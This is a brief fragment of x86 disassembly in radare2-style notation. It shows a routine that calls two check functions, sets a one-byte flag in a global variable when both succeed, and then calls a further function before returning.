push dword [0x5864c0]
call fcn.004ead89
pop ecx
pop ecx
test eax, eax
je 0x432138
call fcn.0040a287
test al, al
je 0x432138
mov byte [ebp - 0xd], 1
mov al, byte [ebp - 0xd]
mov byte [0x586cb1], al
call fcn.004f2236
ret